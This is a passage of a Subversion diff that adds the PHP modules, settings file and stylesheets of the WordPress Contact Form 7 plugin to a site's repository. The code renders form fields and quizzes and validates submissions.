+function icl_wpcf7_translate( $name, $value = '' ) {
+	if ( ! function_exists( 'icl_t' ) )
+		return $value;
+
+	if ( empty( $name ) )
+		return $value;
+
+	$context = 'Contact Form 7';
+
+	return icl_t( $context, $name, $value );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/quiz.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/quiz.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/quiz.php	(revision 44)
@@ -0,0 +1,154 @@
+<?php
+/**
+** A base module for [quiz]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_quiz_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$pipes = $tag['pipes'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+	$size_att = '';
+	$maxlength_att = '';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '%^([0-9]*)[/x]([0-9]*)$%', $option, $matches ) ) {
+			$size_att = (int) $matches[1];
+			$maxlength_att = (int) $matches[2];
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	if ( $size_att )
+		$atts .= ' size="' . $size_att . '"';
+	else
+		$atts .= ' size="40"'; // default size
+
+	if ( $maxlength_att )
+		$atts .= ' maxlength="' . $maxlength_att . '"';
+
+	if ( is_a( $pipes, 'WPCF7_Pipes' ) && ! $pipes->zero() ) {
+		$pipe = $pipes->random_pipe();
+		$question = $pipe->before;
+		$answer = $pipe->after;
+	} else {
+		// default quiz
+		$question = '1+1=?';
+		$answer = '2';
+	}
+
+	$answer = wpcf7_canonicalize( $answer );
+
+	$html = '<span class="wpcf7-quiz-label">' . esc_html( $question ) . '</span>&nbsp;';
+	$html .= '<input type="text" name="' . $name . '"' . $atts . ' />';
+	$html .= '<input type="hidden" name="_wpcf7_quiz_answer_' . $name . '" value="' . wp_hash( $answer, 'wpcf7_quiz' ) . '" />';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'quiz', 'wpcf7_quiz_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_quiz_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+
+	$answer = wpcf7_canonicalize( $_POST[$name] );
+	$answer_hash = wp_hash( $answer, 'wpcf7_quiz' );
+	$expected_hash = $_POST['_wpcf7_quiz_answer_' . $name];
+	if ( $answer_hash != $expected_hash ) {
+		$result['valid'] = false;
+		$result['reason'][$name] = $wpcf7_contact_form->message( 'quiz_answer_not_correct' );
+	}
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_quiz', 'wpcf7_quiz_validation_filter', 10, 2 );
+
+
+/* Ajax echo filter */
+
+function wpcf7_quiz_ajax_echo_filter( $items ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		return $items;
+
+	if ( ! is_array( $items ) )
+		return $items;
+
+	$fes = $wpcf7_contact_form->form_scan_shortcode(
+		array( 'type' => 'quiz' ) );
+
+	if ( empty( $fes ) )
+		return $items;
+
+	$refill = array();
+
+	foreach ( $fes as $fe ) {
+		$name = $fe['name'];
+		$pipes = $fe['pipes'];
+
+		if ( empty( $name ) )
+			continue;
+
+		if ( is_a( $pipes, 'WPCF7_Pipes' ) && ! $pipes->zero() ) {
+			$pipe = $pipes->random_pipe();
+			$question = $pipe->before;
+			$answer = $pipe->after;
+		} else {
+			// default quiz
+			$question = '1+1=?';
+			$answer = '2';
+		}
+
+		$answer = wpcf7_canonicalize( $answer );
+
+		$refill[$name] = array( $question, wp_hash( $answer, 'wpcf7_quiz' ) );
+	}
+
+	if ( ! empty( $refill ) )
+		$items['quiz'] = $refill;
+
+	return $items;
+}
+
+add_filter( 'wpcf7_ajax_json_echo', 'wpcf7_quiz_ajax_echo_filter' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/select.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/select.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/select.php	(revision 44)
@@ -0,0 +1,137 @@
+<?php
+/**
+** A base module for [select] and [select*]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_select_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+
+	$defaults = array();
+
+	if ( 'select*' == $type )
+		$class_att .= ' wpcf7-validates-as-required';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '/^default:([0-9_]+)$/', $option, $matches ) ) {
+			$defaults = explode( '_', $matches[1] );
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	$multiple = (bool) preg_grep( '%^multiple$%', $options );
+	$include_blank = (bool) preg_grep( '%^include_blank$%', $options );
+
+	$empty_select = empty( $values );
+	if ( $empty_select || $include_blank )
+		array_unshift( $values, '---' );
+
+	$html = '';
+
+	$posted = is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) && $wpcf7_contact_form->is_posted();
+
+	foreach ( $values as $key => $value ) {
+		$selected = false;
+
+		if ( ! $empty_select && in_array( $key + 1, (array) $defaults ) )
+			$selected = true;
+
+		if ( $posted ) {
+			if ( $multiple && in_array( esc_sql( $value ), (array) $_POST[$name] ) )
+				$selected = true;
+			if ( ! $multiple && $_POST[$name] == esc_sql( $value ) )
+				$selected = true;
+		}
+
+		$selected = $selected ? ' selected="selected"' : '';
+
+		if ( is_array( $tag['labels'] ) && isset( $tag['labels'][$key] ) )
+			$label = $tag['labels'][$key];
+		else
+			$label = $value;
+
+		$html .= '<option value="' . esc_attr( $value ) . '"' . $selected . '>' . esc_html( $label ) . '</option>';
+	}
+
+	if ( $multiple )
+		$atts .= ' multiple="multiple"';
+
+	$html = '<select name="' . $name . ( $multiple ? '[]' : '' ) . '"' . $atts . '>' . $html . '</select>';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'select', 'wpcf7_select_shortcode_handler', true );
+wpcf7_add_shortcode( 'select*', 'wpcf7_select_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_select_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$values = $tag['values'];
+
+	if ( is_array( $_POST[$name] ) ) {
+		foreach ( $_POST[$name] as $key => $value ) {
+			$value = stripslashes( $value );
+			if ( ! in_array( $value, (array) $values ) ) // Not in given choices.
+				unset( $_POST[$name][$key] );
+		}
+	} else {
+		$value = stripslashes( $_POST[$name] );
+		if ( ! in_array( $value, (array) $values ) ) //  Not in given choices.
+			$_POST[$name] = '';
+	}
+
+	if ( 'select*' == $type ) {
+		if ( empty( $_POST[$name] ) ||
+			! is_array( $_POST[$name] ) && '---' == $_POST[$name] ||
+			is_array( $_POST[$name] ) && 1 == count( $_POST[$name] ) && '---' == $_POST[$name][0] ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		}
+	}
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_select', 'wpcf7_select_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_select*', 'wpcf7_select_validation_filter', 10, 2 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/submit.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/submit.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/submit.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+/**
+** A base module for [submit]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_submit_shortcode_handler( $tag ) {
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	$value = $values[0];
+	if ( empty( $value ) )
+		$value = __( 'Send', 'wpcf7' );
+
+	$ajax_loader_image_url = wpcf7_plugin_url( 'images/ajax-loader.gif' );
+
+	$html = '<input type="submit" value="' . esc_attr( $value ) . '"' . $atts . ' />';
+	$html .= ' <img class="ajax-loader" style="visibility: hidden;" alt="ajax loader" src="' . $ajax_loader_image_url . '" />';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'submit', 'wpcf7_submit_shortcode_handler' );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/text.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/text.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/text.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+/**
+** A base module for [text], [text*], [email], and [email*]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_text_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+	$size_att = '';
+	$maxlength_att = '';
+
+	if ( 'email' == $type || 'email*' == $type )
+		$class_att .= ' wpcf7-validates-as-email';
+
+	if ( 'text*' == $type || 'email*' == $type )
+		$class_att .= ' wpcf7-validates-as-required';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '%^([0-9]*)[/x]([0-9]*)$%', $option, $matches ) ) {
+			$size_att = (int) $matches[1];
+			$maxlength_att = (int) $matches[2];
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	if ( $size_att )
+		$atts .= ' size="' . $size_att . '"';
+	else
+		$atts .= ' size="40"'; // default size
+
+	if ( $maxlength_att )
+		$atts .= ' maxlength="' . $maxlength_att . '"';
+
+	// Value
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) && $wpcf7_contact_form->is_posted() ) {
+		if ( isset( $_POST['_wpcf7_mail_sent'] ) && $_POST['_wpcf7_mail_sent']['ok'] )
+			$value = '';
+		else
+			$value = $_POST[$name];
+	} else {
+		$value = $values[0];
+	}
+
+	$html = '<input type="text" name="' . $name . '" value="' . esc_attr( $value ) . '"' . $atts . ' />';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'text', 'wpcf7_text_shortcode_handler', true );
+wpcf7_add_shortcode( 'text*', 'wpcf7_text_shortcode_handler', true );
+wpcf7_add_shortcode( 'email', 'wpcf7_text_shortcode_handler', true );
+wpcf7_add_shortcode( 'email*', 'wpcf7_text_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_text_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+
+	$_POST[$name] = trim( strtr( (string) $_POST[$name], "\n", " " ) );
+
+	if ( 'text*' == $type ) {
+		if ( '' == $_POST[$name] ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		}
+	}
+
+	if ( 'email' == $type || 'email*' == $type ) {
+		if ( 'email*' == $type && '' == $_POST[$name] ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		} elseif ( '' != $_POST[$name] && ! is_email( $_POST[$name] ) ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_email' );
+		}
+	}
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_text', 'wpcf7_text_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_text*', 'wpcf7_text_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_email', 'wpcf7_text_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_email*', 'wpcf7_text_validation_filter', 10, 2 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/textarea.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/textarea.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/modules/textarea.php	(revision 44)
@@ -0,0 +1,112 @@
+<?php
+/**
+** A base module for [textarea] and [textarea*]
+**/
+
+/* Shortcode handler */
+
+function wpcf7_textarea_shortcode_handler( $tag ) {
+	global $wpcf7_contact_form;
+
+	if ( ! is_array( $tag ) )
+		return '';
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+	$options = (array) $tag['options'];
+	$values = (array) $tag['values'];
+	$content = $tag['content'];
+
+	if ( empty( $name ) )
+		return '';
+
+	$atts = '';
+	$id_att = '';
+	$class_att = '';
+	$cols_att = '';
+	$rows_att = '';
+
+	if ( 'textarea*' == $type )
+		$class_att .= ' wpcf7-validates-as-required';
+
+	foreach ( $options as $option ) {
+		if ( preg_match( '%^id:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$id_att = $matches[1];
+
+		} elseif ( preg_match( '%^class:([-0-9a-zA-Z_]+)$%', $option, $matches ) ) {
+			$class_att .= ' ' . $matches[1];
+
+		} elseif ( preg_match( '%^([0-9]*)[x/]([0-9]*)$%', $option, $matches ) ) {
+			$cols_att = (int) $matches[1];
+			$rows_att = (int) $matches[2];
+		}
+	}
+
+	if ( $id_att )
+		$atts .= ' id="' . trim( $id_att ) . '"';
+
+	if ( $class_att )
+		$atts .= ' class="' . trim( $class_att ) . '"';
+
+	if ( $cols_att )
+		$atts .= ' cols="' . $cols_att . '"';
+	else
+		$atts .= ' cols="40"'; // default size
+
+	if ( $rows_att )
+		$atts .= ' rows="' . $rows_att . '"';
+	else
+		$atts .= ' rows="10"'; // default size
+
+	// Value
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) && $wpcf7_contact_form->is_posted() ) {
+		if ( isset( $_POST['_wpcf7_mail_sent'] ) && $_POST['_wpcf7_mail_sent']['ok'] )
+			$value = '';
+		else
+			$value = $_POST[$name];
+	} else {
+		$value = $values[0];
+
+		if ( ! empty( $content ) )
+			$value = $content;
+	}
+
+	$html = '<textarea name="' . $name . '"' . $atts . '>' . esc_html( $value ) . '</textarea>';
+
+	$validation_error = '';
+	if ( is_a( $wpcf7_contact_form, 'WPCF7_ContactForm' ) )
+		$validation_error = $wpcf7_contact_form->validation_error( $name );
+
+	$html = '<span class="wpcf7-form-control-wrap ' . $name . '">' . $html . $validation_error . '</span>';
+
+	return $html;
+}
+
+wpcf7_add_shortcode( 'textarea', 'wpcf7_textarea_shortcode_handler', true );
+wpcf7_add_shortcode( 'textarea*', 'wpcf7_textarea_shortcode_handler', true );
+
+
+/* Validation filter */
+
+function wpcf7_textarea_validation_filter( $result, $tag ) {
+	global $wpcf7_contact_form;
+
+	$type = $tag['type'];
+	$name = $tag['name'];
+
+	$_POST[$name] = (string) $_POST[$name];
+
+	if ( 'textarea*' == $type ) {
+		if ( '' == $_POST[$name] ) {
+			$result['valid'] = false;
+			$result['reason'][$name] = $wpcf7_contact_form->message( 'invalid_required' );
+		}
+	}
+
+	return $result;
+}
+
+add_filter( 'wpcf7_validate_textarea', 'wpcf7_textarea_validation_filter', 10, 2 );
+add_filter( 'wpcf7_validate_textarea*', 'wpcf7_textarea_validation_filter', 10, 2 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/settings.php	(revision 44)
@@ -0,0 +1,304 @@
+<?php
+
+function wpcf7_plugin_path( $path = '' ) {
+	return path_join( WPCF7_PLUGIN_DIR, trim( $path, '/' ) );
+}
+
+function wpcf7_plugin_url( $path = '' ) {
+	global $wp_version;
+
+	if ( version_compare( $wp_version, '2.8', '<' ) ) { // Using WordPress 2.7
+		$path = path_join( WPCF7_PLUGIN_NAME, $path );
+		return plugins_url( $path );
+	}
+
+	return plugins_url( $path, WPCF7_PLUGIN_BASENAME );
+}
+
+function wpcf7_table_name() {
+	global $wpdb;
+
+	return $wpdb->prefix . "contact_form_7";
+}
+
+function wpcf7_table_exists() {
+	global $wpdb;
+
+	$table_name = wpcf7_table_name();
+
+	return $wpdb->get_var( "SHOW TABLES LIKE '$table_name'" ) == $table_name;
+}
+
+// Pre-2.8 compatibility
+if ( ! function_exists( 'esc_js' ) ) {
+	function esc_js( $text ) {
+		return js_escape( $text );
+	}
+}
+
+if ( ! function_exists( 'esc_html' ) ) {
+	function esc_html( $text ) {
+		return wp_specialchars( $text );
+	}
+}
+
+if ( ! function_exists( 'esc_attr' ) ) {
+	function esc_attr( $text ) {
+		return attribute_escape( $text );
+	}
+}
+
+if ( ! function_exists( 'esc_sql' ) ) {
+	function esc_sql( $text ) {
+		global $wpdb;
+		return $wpdb->escape( $text );
+	}
+}
+
+require_once WPCF7_PLUGIN_DIR . '/includes/functions.php';
+require_once WPCF7_PLUGIN_DIR . '/includes/formatting.php';
+require_once WPCF7_PLUGIN_DIR . '/includes/pipe.php';
+require_once WPCF7_PLUGIN_DIR . '/includes/shortcodes.php';
+require_once WPCF7_PLUGIN_DIR . '/includes/classes.php';
+
+if ( is_admin() )
+	require_once WPCF7_PLUGIN_DIR . '/admin/admin.php';
+
+function wpcf7_contact_forms() {
+	global $wpdb;
+
+	$table_name = wpcf7_table_name();
+
+	return $wpdb->get_results( "SELECT cf7_unit_id as id, title FROM $table_name" );
+}
+
+$wpcf7_contact_form = null;
+
+$wpcf7_processing_within = null;
+$wpcf7_unit_count = null;
+$wpcf7_widget_count = null;
+
+function wpcf7_ajax_json_echo() {
+	global $wpcf7_contact_form;
+
+	$echo = '';
+
+	if ( isset( $_POST['_wpcf7'] ) ) {
+		$id = (int) $_POST['_wpcf7'];
+		$unit_tag = $_POST['_wpcf7_unit_tag'];
+
+		if ( $wpcf7_contact_form = wpcf7_contact_form( $id ) ) {
+			$validation = $wpcf7_contact_form->validate();
+
+			$items = array(
+				'mailSent' => false,
+				'into' => '#' . $unit_tag,
+				'captcha' => null );
+
+			$items = apply_filters( 'wpcf7_ajax_json_echo', $items );
+
+			if ( ! $validation['valid'] ) { // Validation error occured
+				$invalids = array();
+				foreach ( $validation['reason'] as $name => $reason ) {
+					$invalids[] = array(
+						'into' => 'span.wpcf7-form-control-wrap.' . $name,
+						'message' => $reason );
+				}
+
+				$items['message'] = $wpcf7_contact_form->message( 'validation_error' );
+				$items['invalids'] = $invalids;
+
+			} elseif ( ! $wpcf7_contact_form->accepted() ) { // Not accepted terms
+				$items['message'] = $wpcf7_contact_form->message( 'accept_terms' );
+
+			} elseif ( $wpcf7_contact_form->akismet() ) { // Spam!
+				$items['message'] = $wpcf7_contact_form->message( 'akismet_says_spam' );
+				$items['spam'] = true;
+
+			} elseif ( $wpcf7_contact_form->mail() ) {
+				$items['mailSent'] = true;
+				$items['message'] = $wpcf7_contact_form->message( 'mail_sent_ok' );
+
+				$on_sent_ok = $wpcf7_contact_form->additional_setting( 'on_sent_ok', false );
+				if ( ! empty( $on_sent_ok ) ) {
+					$on_sent_ok = array_map( 'wpcf7_strip_quote', $on_sent_ok );
+				} else {
+					$on_sent_ok = null;
+				}
+				$items['onSentOk'] = $on_sent_ok;
+
+				do_action_ref_array( 'wpcf7_mail_sent', array( &$wpcf7_contact_form ) );
+
+			} else {
+				$items['message'] = $wpcf7_contact_form->message( 'mail_sent_ng' );
+			}
+
+			// remove upload files
+			foreach ( (array) $wpcf7_contact_form->uploaded_files as $name => $path ) {
+				@unlink( $path );
+			}
+
+			$wpcf7_contact_form = null;
+		}
+	}
+
+	$echo = wpcf7_json( $items );
+
+	if ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) {
+		@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
+		echo $echo;
+	} else {
+		@header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
+		echo '<textarea>' . $echo . '</textarea>';
+	}
+}
+
+function wpcf7_process_nonajax_submitting() {
+	global $wpcf7_contact_form;
+
+	if ( ! isset($_POST['_wpcf7'] ) )
+		return;
+
+	$id = (int) $_POST['_wpcf7'];
+
+	if ( $wpcf7_contact_form = wpcf7_contact_form( $id ) ) {
+		$validation = $wpcf7_contact_form->validate();
+
+		if ( ! $validation['valid'] ) {
+			$_POST['_wpcf7_validation_errors'] = array( 'id' => $id, 'messages' => $validation['reason'] );
+		} elseif ( ! $wpcf7_contact_form->accepted() ) { // Not accepted terms
+			$_POST['_wpcf7_mail_sent'] = array( 'id' => $id, 'ok' => false, 'message' => $wpcf7_contact_form->message( 'accept_terms' ) );
+		} elseif ( $wpcf7_contact_form->akismet() ) { // Spam!
+			$_POST['_wpcf7_mail_sent'] = array( 'id' => $id, 'ok' => false, 'message' => $wpcf7_contact_form->message( 'akismet_says_spam' ), 'spam' => true );
+		} elseif ( $wpcf7_contact_form->mail() ) {
+			$_POST['_wpcf7_mail_sent'] = array( 'id' => $id, 'ok' => true, 'message' => $wpcf7_contact_form->message( 'mail_sent_ok' ) );
+
+			do_action_ref_array( 'wpcf7_mail_sent', array( &$wpcf7_contact_form ) );
+		} else {
+			$_POST['_wpcf7_mail_sent'] = array( 'id' => $id, 'ok' => false, 'message' => $wpcf7_contact_form->message( 'mail_sent_ng' ) );
+		}
+
+		// remove upload files
+		foreach ( (array) $wpcf7_contact_form->uploaded_files as $name => $path ) {
+			@unlink( $path );
+		}
+
+		$wpcf7_contact_form = null;
+	}
+}
+
+function wpcf7_the_content_filter( $content ) {
+	global $wpcf7_processing_within, $wpcf7_unit_count;
+
+	$wpcf7_processing_within = 'p' . get_the_ID();
+	$wpcf7_unit_count = 0;
+
+	return $content;
+}
+
+add_filter( 'the_content', 'wpcf7_the_content_filter', 9 );
+
+function wpcf7_widget_text_filter( $content ) {
+	global $wpcf7_widget_count, $wpcf7_processing_within, $wpcf7_unit_count;
+
+	$wpcf7_widget_count += 1;
+	$wpcf7_processing_within = 'w' . $wpcf7_widget_count;
+	$wpcf7_unit_count = 0;
+
+	$regex = '/\[\s*contact-form\s+(\d+(?:\s+.*)?)\]/';
+	return preg_replace_callback( $regex, 'wpcf7_widget_text_filter_callback', $content );
+}
+
+add_filter( 'widget_text', 'wpcf7_widget_text_filter', 9 );
+
+function wpcf7_widget_text_filter_callback( $matches ) {
+	return do_shortcode( $matches[0] );
+}
+
+function wpcf7_contact_form_tag_func( $atts ) {
+	global $wpcf7_contact_form, $wpcf7_unit_count, $wpcf7_processing_within;
+
+	if ( is_string( $atts ) )
+		$atts = explode( ' ', $atts, 2 );
+
+	$atts = (array) $atts;
+
+	$id = (int) array_shift( $atts );
+
+	if ( ! ( $wpcf7_contact_form = wpcf7_contact_form( $id ) ) )
+		return '[contact-form 404 "Not Found"]';
+
+	$wpcf7_unit_count += 1;
+
+	$unit_tag = 'wpcf7-f' . $id . '-' . $wpcf7_processing_within . '-o' . $wpcf7_unit_count;
+	$wpcf7_contact_form->unit_tag = $unit_tag;
+
+	$form = $wpcf7_contact_form->form_html();
+
+	$wpcf7_contact_form = null;
+
+	return $form;
+}
+
+add_shortcode( 'contact-form', 'wpcf7_contact_form_tag_func' );
+
+function wpcf7_wp_head() {
+	$stylesheet_url = wpcf7_plugin_url( 'stylesheet.css' );
+	echo '<link rel="stylesheet" href="' . $stylesheet_url . '" type="text/css" />';
+
+	if ( 'rtl' == get_bloginfo( 'text_direction' ) ) {
+		$stylesheet_rtl_url = wpcf7_plugin_url( 'stylesheet-rtl.css' );
+		echo '<link rel="stylesheet" href="' . $stylesheet_rtl_url . '" type="text/css" />';
+	}
+}
+
+if ( WPCF7_LOAD_CSS )
+	add_action( 'wp_head', 'wpcf7_wp_head' );
+
+/* Loading modules */
+
+function wpcf7_load_modules() {
+	$dir = WPCF7_PLUGIN_MODULES_DIR;
+
+	if ( ! ( is_dir( $dir ) && $dh = opendir( $dir ) ) )
+		return false;
+
+	while ( ( $module = readdir( $dh ) ) !== false ) {
+		if ( substr( $module, -4 ) == '.php' )
+			include_once $dir . '/' . $module;
+	}
+}
+
+add_action( 'init', 'wpcf7_load_modules' );
+
+function wpcf7_enqueue_scripts() {
+	$in_footer = true;
+	if ( 'header' === WPCF7_LOAD_JS )
+		$in_footer = false;
+
+	wp_enqueue_script( 'contact-form-7', wpcf7_plugin_url( 'contact-form-7.js' ),
+		array('jquery', 'jquery-form'), WPCF7_VERSION, $in_footer );
+}
+
+if ( ! is_admin() && WPCF7_LOAD_JS )
+	add_action( 'init', 'wpcf7_enqueue_scripts' );
+
+function wpcf7_load_plugin_textdomain() { // l10n
+	load_plugin_textdomain( 'wpcf7',
+		'wp-content/plugins/contact-form-7/languages', 'contact-form-7/languages' );
+}
+
+add_action( 'init', 'wpcf7_load_plugin_textdomain' );
+
+function wpcf7_init_switch() {
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && 1 == (int) $_POST['_wpcf7_is_ajax_call'] ) {
+		wpcf7_ajax_json_echo();
+		exit();
+	} elseif ( ! is_admin() ) {
+		wpcf7_process_nonajax_submitting();
+	}
+}
+
+add_action( 'init', 'wpcf7_init_switch', 11 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet-rtl.css	(revision 44)
@@ -0,0 +1,12 @@
+span.wpcf7-not-valid-tip {
+	left: auto;
+	right: 20%;
+	direction: rtl;
+}
+span.wpcf7-not-valid-tip-no-ajax {
+	direction: rtl;
+}
+span.wpcf7-list-item {
+	margin-left: 0;
+	margin-right: 0.5em;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css	(revision 44)
@@ -0,0 +1,55 @@
+div.wpcf7 {
+	margin: 0;
+	padding: 0;
+}
+
+div.wpcf7-response-output {
+	margin: 2em 0.5em 1em;
+	padding: 0.2em 1em;
+}
+
+div.wpcf7-mail-sent-ok {
+	border: 2px solid #398f14;
+}
+
+div.wpcf7-mail-sent-ng {
+	border: 2px solid #ff0000;
+}
+
+div.wpcf7-spam-blocked {
+	border: 2px solid #ffa500;
+}
+
+div.wpcf7-validation-errors {
+	border: 2px solid #f7e700;
+}
+
+span.wpcf7-form-control-wrap {
+	position: relative;
+}
+
+span.wpcf7-not-valid-tip {
+	position: absolute;
+	top: 20%;
+	left: 20%;
